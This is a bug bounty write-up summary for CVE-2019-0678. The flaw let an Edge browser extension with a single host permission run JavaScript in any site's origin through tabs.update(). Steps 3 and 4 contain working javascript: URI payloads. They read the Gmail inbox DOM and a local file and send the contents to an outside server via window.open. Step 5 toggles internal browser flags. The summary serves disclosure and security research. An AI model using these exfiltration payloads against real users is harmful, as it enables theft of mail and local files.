# Microsoft Edge Extensions Host Permission Bypass (CVE-2019-0678)

Edge extension tabs.update() accepted javascript: and file: URIs, letting an extension with one host permission execute JS on any site and exfiltrate mail and local files.

- Payout: unconfirmed
- Severity: high
- Program: Microsoft
- Credited: Nikhil Mittal
- Disclosed: 2019-06-06
- CVE: CVE-2019-0678
- Write-up quality: 8/10
- Original: https://payatu.com/microsoft-edge-extensions-host-permission-bypass-cve-2019-0678/
- Library page: https://bugbountylibrary.com/r/blog%3Apayatu-com-microsoft-edge-extensions-host-permission-bypass-cve-2019-0678
- Tags: domain:browser impact:data-leak impact:integrity kind:bounty platform:blog sev:high tech:chromium technique:chained technique:incomplete-fix vuln:access-control vuln:info-disclosure

**Target:** Edge browser extension tabs API (tabs.create/tabs.update)
**Root cause:** tabs.update() did not validate the URL scheme, so javascript: and file: URIs were loaded into the active tab and executed in that page's origin, ignoring the extension's declared host permissions.
**Steps:**
1. Create extension with manifest permissions limited to `https://www.google.com/*` and a popup with buttons.
2. `browser.tabs.update({url:'javascript:alert(document.domain)'})` on a bing.com tab executes JS in bing.com origin.
3. Navigate to `https://mail.google.com/mail/u/0/#inbox`, then `browser.tabs.update({url:"javascript: var x=document.getElementsByClassName('y2')[0].innerHTML; window.open('http://lab.com:8888/common/leak.html?#'+x);"})` to exfiltrate mail DOM.
4. Load `file:///C:/Users/reach/Desktop/local_file.txt` via tabs.update, then run `javascript: var x=document.body.innerHTML;window.open('http://lab.com:8888/common/leak.html?#'+x);` to steal local file contents.
5. Load `res://edgehtml.dll/flags.htm` (or about:flags then refresh) and run `javascript:document.getElementById('BchostLocalhostLoopback').click();` to toggle internal flags.
**How found:** After MSRC dismissed file:// loading as low risk, the author recalled the javascript: URI scheme and tested it in tabs.create (failed) then tabs.update (succeeded), revealing scheme validation was missing only in update.
**Exploitation:** A malicious extension with a narrow host permission loads a victim site (e.g. Gmail) or local file in a tab, then calls tabs.update with a javascript: URI that reads document DOM and sends it to an attacker server via window.open with the data in the URL fragment.
**Escalation:** Chained file:// loading with javascript: URI execution to exfiltrate local files, and res://edgehtml.dll/flags.htm to reach privileged about:flags and toggle browser settings like Flash.
**Insight:** When a browser API rejects a dangerous scheme in one method (tabs.create), test sibling methods (tabs.update) for inconsistent validation; also try alternate internal URL forms like res://edgehtml.dll/flags.htm when about: pages block script execution.